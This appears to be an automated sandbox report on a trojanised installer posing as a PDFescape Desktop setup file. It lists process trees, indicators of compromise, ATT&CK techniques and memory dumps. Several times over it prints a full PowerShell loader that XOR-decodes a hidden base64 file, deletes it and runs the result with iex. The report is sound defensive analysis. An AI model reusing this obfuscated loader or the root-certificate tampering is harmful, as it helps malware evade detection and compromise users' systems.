6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c52043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5	PDFescape_Desktop_Installer.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
3184	PDFescape_Desktop_Installer.exe
3184	PDFescape_Desktop_Installer.exe
1776	powershell.exe
1776	powershell.exe
4036	powershell.exe
4036	powershell.exe
4564	powershell.exe
1328	powershell.exe
4564	powershell.exe
1328	powershell.exe
3048	powershell.exe
1796	powershell.exe
3048	powershell.exe
1796	powershell.exe
4436	powershell.exe
4028	powershell.exe
4436	powershell.exe
4028	powershell.exe
2556	powershell.exe
2556	powershell.exe
2352	powershell.exe
2352	powershell.exe
3048	powershell.exe
2556	powershell.exe
4436	powershell.exe
4036	powershell.exe
1328	powershell.exe
2352	powershell.exe
1796	powershell.exe
1776	powershell.exe
4028	powershell.exe
2556	powershell.exe
1796	powershell.exe
1328	powershell.exe
3048	powershell.exe
1776	powershell.exe
2352	powershell.exe
4036	powershell.exe
4436	powershell.exe
4028	powershell.exe
2556	powershell.exe
3048	powershell.exe
2352	powershell.exe
1776	powershell.exe
1796	powershell.exe
1328	powershell.exe
4028	powershell.exe
4036	powershell.exe
4436	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	3048	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	1796	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 3860	4696	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.exe	75
PID 4696 wrote to memory of 3860	4696	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.exe	75
PID 4696 wrote to memory of 3860	4696	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.exe	75
PID 3860 wrote to memory of 3184	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	76
PID 3860 wrote to memory of 3184	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	76
PID 3860 wrote to memory of 3184	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	76
PID 3184 wrote to memory of 4240	3184	PDFescape_Desktop_Installer.exe	77
PID 3184 wrote to memory of 4240	3184	PDFescape_Desktop_Installer.exe	77
PID 3184 wrote to memory of 4240	3184	PDFescape_Desktop_Installer.exe	77
PID 3184 wrote to memory of 3168	3184	PDFescape_Desktop_Installer.exe	78
PID 3184 wrote to memory of 3168	3184	PDFescape_Desktop_Installer.exe	78
PID 3184 wrote to memory of 3168	3184	PDFescape_Desktop_Installer.exe	78
PID 3860 wrote to memory of 1796	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	83
PID 3860 wrote to memory of 1796	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	83
PID 3860 wrote to memory of 1796	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	83
PID 3860 wrote to memory of 1328	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	85
PID 3860 wrote to memory of 1328	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	85
PID 3860 wrote to memory of 1328	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	85
PID 3860 wrote to memory of 2352	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	87
PID 3860 wrote to memory of 2352	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	87
PID 3860 wrote to memory of 2352	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	87
PID 3860 wrote to memory of 2556	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	89
PID 3860 wrote to memory of 2556	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	89
PID 3860 wrote to memory of 2556	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	89
PID 3860 wrote to memory of 3048	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	91
PID 3860 wrote to memory of 3048	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	91
PID 3860 wrote to memory of 3048	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	91
PID 3860 wrote to memory of 4028	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	93
PID 3860 wrote to memory of 4028	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	93
PID 3860 wrote to memory of 4028	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	93
PID 3860 wrote to memory of 4036	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	95
PID 3860 wrote to memory of 4036	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	95
PID 3860 wrote to memory of 4036	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	95
PID 3860 wrote to memory of 1776	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	97
PID 3860 wrote to memory of 1776	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	97
PID 3860 wrote to memory of 1776	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	97
PID 3860 wrote to memory of 4436	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	99
PID 3860 wrote to memory of 4436	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	99
PID 3860 wrote to memory of 4436	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	99
PID 3860 wrote to memory of 4564	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	101
PID 3860 wrote to memory of 4564	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	101
PID 3860 wrote to memory of 4564	3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp	101

C:\Users\Admin\AppData\Local\Temp\aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.exe
"C:\Users\Admin\AppData\Local\Temp\aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Users\Admin\AppData\Local\Temp\is-RQHHT.tmp\aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-RQHHT.tmp\aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp" /SL5="$2010E,122284744,999424,C:\Users\Admin\AppData\Local\Temp\aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Users\Admin\AppData\Local\Temp\is-BBQN1.tmp\PDFescape_Desktop_Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\is-BBQN1.tmp\PDFescape_Desktop_Installer.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3184
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32.exe /s "C:\ProgramData\PDFescape Desktop\Installation\Statistics.dll"
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:4240
  - - C:\ProgramData\PDFescape Desktop\Installation\PDFescapeDesktopInstaller.exe
      "C:\ProgramData\PDFescape Desktop\Installation\PDFescapeDesktopInstaller.exe" /RegServer
      4⤵
      Executes dropped EXE
      Modifies registry class
      PID:3168
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1796
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2352
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4036
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4436
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$p='C:\Users\Admin\5661eeff25b3e9b15e1cb6e643451fa9\bbfb4afde85d17205464ab197eb0ff9e\dac67dd911ef7be2892847420999f9c9\7cd1f73a1cd2e093cd88ea5ca5a39f13\f184f4dbd8c0457eb408c26fa740a877\ce14a303d63e4983861f35a019acc2e3\b4d2f6d2e4a47117bf40ab7e29c29912';$xk='pXYwuQaqtMUhRkJgAmEdKbDjxvGCZonHBLSrilsONFTIeyWfVPcz';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));remove-item $p;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4564

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{2BC47158-F746-4E22-B116-D481B09E9674}
1⤵
- Loads dropped DLL
PID:632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1328-206-0x0000000006E53000-0x0000000006E54000-memory.dmp

Filesize
4KB

Download
memory/1328-70-0x0000000006E50000-0x0000000006E51000-memory.dmp

Filesize
4KB

Download
memory/1328-71-0x0000000006E52000-0x0000000006E53000-memory.dmp

Filesize
4KB

Download
memory/1328-32-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/1776-38-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/1776-67-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

Filesize
4KB

Download
memory/1776-204-0x0000000004AB3000-0x0000000004AB4000-memory.dmp

Filesize
4KB

Download
memory/1776-77-0x0000000004AB2000-0x0000000004AB3000-memory.dmp

Filesize
4KB

Download
memory/1796-35-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/1796-65-0x0000000004580000-0x0000000004581000-memory.dmp

Filesize
4KB

Download
memory/1796-79-0x0000000004582000-0x0000000004583000-memory.dmp

Filesize
4KB

Download
memory/1796-207-0x0000000004583000-0x0000000004584000-memory.dmp

Filesize
4KB

Download
memory/1796-80-0x0000000006A50000-0x0000000006A51000-memory.dmp

Filesize
4KB

Download
memory/2352-128-0x0000000008240000-0x0000000008241000-memory.dmp

Filesize
4KB

Download
memory/2352-33-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/2352-62-0x00000000045F0000-0x00000000045F1000-memory.dmp

Filesize
4KB

Download
memory/2352-203-0x00000000045F3000-0x00000000045F4000-memory.dmp

Filesize
4KB

Download
memory/2352-76-0x00000000045F2000-0x00000000045F3000-memory.dmp

Filesize
4KB

Download
memory/2556-66-0x0000000005190000-0x0000000005191000-memory.dmp

Filesize
4KB

Download
memory/2556-149-0x00000000095C0000-0x00000000095C1000-memory.dmp

Filesize
4KB

Download
memory/2556-34-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/2556-75-0x0000000005192000-0x0000000005193000-memory.dmp

Filesize
4KB

Download
memory/2556-185-0x0000000009B10000-0x0000000009B28000-memory.dmp

Filesize
96KB

Download
memory/2556-137-0x0000000008820000-0x0000000008821000-memory.dmp

Filesize
4KB

Download
memory/2556-147-0x00000000096A0000-0x00000000096A1000-memory.dmp

Filesize
4KB

Download
memory/2556-148-0x0000000009570000-0x0000000009571000-memory.dmp

Filesize
4KB

Download
memory/2556-184-0x0000000005193000-0x0000000005194000-memory.dmp

Filesize
4KB

Download
memory/2556-183-0x000000000A7C0000-0x000000000A7C1000-memory.dmp

Filesize
4KB

Download
memory/2556-150-0x0000000009C40000-0x0000000009C41000-memory.dmp

Filesize
4KB

Download
memory/3048-61-0x00000000049A2000-0x00000000049A3000-memory.dmp

Filesize
4KB

Download
memory/3048-64-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/3048-37-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/3048-199-0x00000000049A3000-0x00000000049A4000-memory.dmp

Filesize
4KB

Download
memory/3048-51-0x00000000073C0000-0x00000000073C1000-memory.dmp

Filesize
4KB

Download
memory/3860-8-0x00000000035F1000-0x00000000035F5000-memory.dmp

Filesize
16KB

Download
memory/3860-5-0x00000000008E0000-0x00000000008E1000-memory.dmp

Filesize
4KB

Download
memory/4028-40-0x0000000000D50000-0x0000000000D51000-memory.dmp

Filesize
4KB

Download
memory/4028-63-0x0000000000F90000-0x0000000000F91000-memory.dmp

Filesize
4KB

Download
memory/4028-30-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/4028-90-0x0000000006CA0000-0x0000000006CA1000-memory.dmp

Filesize
4KB

Download
memory/4028-73-0x0000000000F92000-0x0000000000F93000-memory.dmp

Filesize
4KB

Download
memory/4028-110-0x00000000074B0000-0x00000000074B1000-memory.dmp

Filesize
4KB

Download
memory/4028-100-0x0000000006D80000-0x0000000006D81000-memory.dmp

Filesize
4KB

Download
memory/4028-205-0x0000000000F93000-0x0000000000F94000-memory.dmp

Filesize
4KB

Download
memory/4036-78-0x0000000006D92000-0x0000000006D93000-memory.dmp

Filesize
4KB

Download
memory/4036-68-0x0000000006D90000-0x0000000006D91000-memory.dmp

Filesize
4KB

Download
memory/4036-119-0x0000000007A40000-0x0000000007A41000-memory.dmp

Filesize
4KB

Download
memory/4036-36-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/4036-209-0x0000000006D93000-0x0000000006D94000-memory.dmp

Filesize
4KB

Download
memory/4436-31-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/4436-208-0x0000000007163000-0x0000000007164000-memory.dmp

Filesize
4KB

Download
memory/4436-69-0x0000000007160000-0x0000000007161000-memory.dmp

Filesize
4KB

Download
memory/4436-74-0x0000000007162000-0x0000000007163000-memory.dmp

Filesize
4KB

Download
memory/4564-50-0x0000000005070000-0x0000000005071000-memory.dmp

Filesize
4KB

Download
memory/4564-39-0x0000000070D50000-0x000000007143E000-memory.dmp

Filesize
6.9MB

Download
memory/4564-72-0x0000000005072000-0x0000000005073000-memory.dmp

Filesize
4KB

Download
memory/4696-4-0x0000000000401000-0x00000000004B7000-memory.dmp

Filesize
728KB

Download